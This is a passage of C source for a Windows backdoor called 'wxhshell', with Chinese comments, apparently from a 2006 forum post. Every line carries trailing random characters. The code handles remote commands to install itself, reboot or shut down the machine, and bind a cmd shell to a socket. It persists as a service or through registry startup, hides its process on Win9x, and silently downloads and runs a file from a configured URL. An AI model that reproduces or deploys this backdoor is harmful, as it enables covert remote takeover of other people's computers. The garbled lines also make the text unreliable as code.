  case '?': { -#S)}N En  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8G5) o`  
    break; Nr]8P/[~  
  } )pZekh]v  
  // 安装 te\h?H  
  case 'i': { .?i-rTF:  
    if(Install()) C'8!cPFVv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /J[H5uA  
    else Tn@UX(^,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }ED nLou  
    break; |,1bkJt  
    } 0 .FHdJ<  
  // 卸载 1~R$$P11[9  
  case 'r': { W3jXZ>  
    if(Uninstall()) 0tW<LR-}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pn+IJ=0Y  
    else ,XeyE;||  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U50s!Z t45  
    break; $/, BJ/9  
    } Y[ iDX#  
  // 显示 wxhshell 所在路径 62MRI    
  case 'p': { @QVqpE<|  
    char svExeFile[MAX_PATH]; oTF^<I-C  
    strcpy(svExeFile,"\n\r"); ?y>Y$-v/C  
      strcat(svExeFile,ExeFile); @3 -,=x  
        send(wsh,svExeFile,strlen(svExeFile),0); a)_rka1(  
    break; uEScAeQXsI  
    } 'n l RY5@2  
  // 重启 r)6uX  
  case 'b': { M q^|M~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Le:wC  
    if(Boot(REBOOT)) UK"}}nO@e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ':!3jZP"m  
    else { b(}Gm@#  
    closesocket(wsh); ^nHB1"OCV  
    ExitThread(0); XDpfpJ,z"}  
    } n%0]V Xx#  
    break; }x kLD!  
    } ?~aZ#%*i8  
  // 关机 $Wr\ [P:  
  case 'd': { |RR%bQ^{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `%t$s,TiP  
    if(Boot(SHUTDOWN)) A$%Q4jC}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Lw}KO`  
    else { \);.0  
    closesocket(wsh); VX^o"9Ntl  
    ExitThread(0); 4pmTicA~  
    } jFuC=6aF  
    break; mVv\bl?<  
    } G}!7tU  
  // 获取shell OuOk=  
  case 's': { k]SAJ~bS|  
    CmdShell(wsh); Lh8bQH  
    closesocket(wsh); =ze FK_S!  
    ExitThread(0); %6NO0 F^  
    break; F>~ xzc  
  } <`R|a *  
  // 退出 \!+-4,CbZY  
  case 'x': { -ajM5S=d*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IPl@ DH  
    CloseIt(wsh);  SwdC,  
    break; 6X@mPj[/  
    } 10C 2=  
  // 离开 ;YK!EMM4!h  
  case 'q': { ^Yj"RM$;N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q'Jv} 'eK_  
    closesocket(wsh); Ni2]6U  
    WSACleanup(); H+4=|mkQ  
    exit(1); {8^Gs^c c  
    break; `6a]|7|f  
        } _4P;+Y  
  } Q7,EY /  
  } xn(+G$m  
b!i`o%Vb  
  // 提示信息 u.Mqj"o\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c%|vUAq*  
} cI*KRC U  
  } cQ8dc+ {  
UI!6aVL.  
  return; _Ry_K3K  
} v~ ^ks{  
6m4Te|  
// shell模块句柄 rr|"r  
int CmdShell(SOCKET sock) |h5kg<Zgo  
{ I3Lg?bZ  
STARTUPINFO si; \\=.6cg<K  
ZeroMemory(&si,sizeof(si)); 6( >3P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dn~Z SrJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NTqo`VWe  
PROCESS_INFORMATION ProcessInfo; [f<"p[  
char cmdline[]="cmd"; q1YLq(e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oi7 3YOB  
  return 0; K!3{M!B   
} M'yO+bu  
blJIto '  
// 自身启动模式 MV%Xhfk  
int StartFromService(void) p/r~n'g$  
{ {mNdL J  
typedef struct "XCU'_k=  
{ ]]>nbgGn#  
  DWORD ExitStatus; H76E+AY  
  DWORD PebBaseAddress; /&CUspb  
  DWORD AffinityMask; CV'&4oq  
  DWORD BasePriority; +0VG[ c\8  
  ULONG UniqueProcessId; A#<vG1  
  ULONG InheritedFromUniqueProcessId; S8\+XJ  
}   PROCESS_BASIC_INFORMATION; `SCy<w3$+[  
(~S<EUc$  
PROCNTQSIP NtQueryInformationProcess; TbOJp  
[}z?1Gj;W(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IuNkfBe4m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]Z _$'?f  
l;Q >b]DZ  
  HANDLE             hProcess; XJe/tR  
  PROCESS_BASIC_INFORMATION pbi; X]qCS0GD'  
_3|6ZO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #C4|@7w%  
  if(NULL == hInst ) return 0; :]'q#$!  
;t}'X[U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Eb&}m:E$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xJ-*%'(KZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UmJUt|  
Zp`~}LV{  
  if (!NtQueryInformationProcess) return 0; My. dD'C  
C1 W>/?XC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .>P~uZiX!  
  if(!hProcess) return 0; !~WZ_z  
*2`:VFEV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^%;"[r  
[q'eEN G  
  CloseHandle(hProcess); v{o? #Sk1  
cST\~SUm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >;,gGH  
if(hProcess==NULL) return 0; ei@3,{~5  
D}MoNE[r  
HMODULE hMod; f3 !n$lj  
char procName[255]; h6g:(3t6m  
unsigned long cbNeeded; L/BHexOB  
!}ilN 1>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {gsW(T>)  
`mrCu>7  
  CloseHandle(hProcess); |"Z-7@/k$i  
D ZVXz|g  
if(strstr(procName,"services")) return 1; // 以服务启动 3)Zu[c[%'J  
Vb2\/e:k  
  return 0; // 注册表启动 gt/!~f0r  
} )!A 2>  
NEMEY7De2  
// 主模块 Rs2-94$!5  
int StartWxhshell(LPSTR lpCmdLine) M+0x;53nz  
{ wazP,9W?  
  SOCKET wsl; pajy#0 U  
BOOL val=TRUE; 6+iK!&+=  
  int port=0; n'yl)HA~>`  
  struct sockaddr_in door; #7o0dE;Kg9  
*<r%aeG$em  
  if(wscfg.ws_autoins) Install(); |CwG3&8  
YZ< NP  
port=atoi(lpCmdLine); 7aQ n;  
6GzzG P^  
if(port<=0) port=wscfg.ws_port; ojoxXly`  
N`HSE=u>  
  WSADATA data; `y2ljIWJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -bA!PeI  
Pg Syt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X'@'/[?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RJx{eck%  
  door.sin_family = AF_INET; zka?cOmYF[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^sV|ck  
  door.sin_port = htons(port); 2SciB*5  
KY g3U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~T02._E  
closesocket(wsl); ENq"mwV|  
return 1; =:gjz4}_8  
} Ir27ZP  
Jn*Nao_)  
  if(listen(wsl,2) == INVALID_SOCKET) { \-OC|\{32  
closesocket(wsl); D"cKlp-I6|  
return 1; D^u\l  
} kon5+g9q  
  Wxhshell(wsl); xQo~%wW,?  
  WSACleanup(); _IxamWpX$  
tq&Yek>C  
return 0; \45(#H<$  
>ZeEX, N  
} ,T$r9!WTM  
c;wA  
// 以NT服务方式启动 MqdB\OW&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MtUY?O.P2  
{ n+?-�  
DWORD   status = 0; :_Fxy5}  
  DWORD   specificError = 0xfffffff; Hd 0Xx}3&  
Vv7PCaq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xhse~=qA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P>wZ~Hjk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kwlC[G$j7  
  serviceStatus.dwWin32ExitCode     = 0; #V[SQ=>x[  
  serviceStatus.dwServiceSpecificExitCode = 0; | ]# +v@  
  serviceStatus.dwCheckPoint       = 0; C_G1P)k  
  serviceStatus.dwWaitHint       = 0; IY)5.E _  
SKR;wu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G#0,CLGN^  
  if (hServiceStatusHandle==0) return; #ZlM?Q  
;& ~929  
status = GetLastError(); !BUi)mo  
  if (status!=NO_ERROR) BI.V0@qZ  
{ A$@o'Q;he  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Fw?{0  
    serviceStatus.dwCheckPoint       = 0; ZMdW2_*F   
    serviceStatus.dwWaitHint       = 0; fa{@$ppx  
    serviceStatus.dwWin32ExitCode     = status; 6V2j*J  
    serviceStatus.dwServiceSpecificExitCode = specificError; B\[-fq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3gc"_C\$  
    return; %ek"!A  
  } H)5QqZ8  
tpo>1|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #ZWl=z5aBi  
  serviceStatus.dwCheckPoint       = 0; <KLg0L<W  
  serviceStatus.dwWaitHint       = 0; .S_QQM}Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U5<@<j(@  
} o/1JO_41  
RZh}:  
// 处理NT服务事件,比如:启动、停止 X+iK<F$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !M(:U,?B  
{ f`|G]da-3o  
switch(fdwControl) fY_%33_I$  
{ TwFb%YM  
case SERVICE_CONTROL_STOP: Z`s!dV]e9  
  serviceStatus.dwWin32ExitCode = 0; )6{P8k4Zr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1lcnRHO  
  serviceStatus.dwCheckPoint   = 0; lKWr=k~  
  serviceStatus.dwWaitHint     = 0; lFf XWNb  
  { .C= I^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e$|VG* d  
  } i&&qbZt  
  return; .zS D`v@[  
case SERVICE_CONTROL_PAUSE: nxQ}&n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T3z(k la  
  break; yM ,VrUh  
case SERVICE_CONTROL_CONTINUE: <%KUdkzEP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dy:d=Z  
  break; _Adsq8sFW  
case SERVICE_CONTROL_INTERROGATE: p{.8_#O%S  
  break; M#a&\cqC  
}; wmYvD<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 31}W6l88c  
} 9j#@p   
A[H;WKn0  
// 标准应用程序主函数 C9jbv/c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GN%(9N'W  
{ T~J? AKx  
]l[2hy= cV  
// 获取操作系统版本 l>7r2;  
OsIsNt=GetOsVer(); R 1'`F{56  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |zpx)8Q  
e{C6by"j{S  
  // 从命令行安装 F=}Z51|:~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Va4i7"X\  
uTGcQs}  
  // 下载执行文件 @~o`#$*|  
if(wscfg.ws_downexe) { 3eKQ<$w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }q'WC4.  
  WinExec(wscfg.ws_filenam,SW_HIDE); GuO`jz F  
} f1Zt?=  
kCA5|u  
if(!OsIsNt) { hZN<Yd8:  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~G `J r  
HideProc(); C3S`}o.  
StartWxhshell(lpCmdLine); =.b Y#4  
} $bGD%9 z  
else  I=[cZ;t  
  if(StartFromService()) &&PgOFD  
  // 以服务方式启动 254~:eB0  
  StartServiceCtrlDispatcher(DispatchTable); XDYosC:  
else a)9rs\Is{  
  // 普通方式启动 16$y`~c-z  
  StartWxhshell(lpCmdLine); &p"(-  
]MAT2$"le  
return 0; A*'V+(  
}
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只看该作者 1 发表于: 2006-10-10
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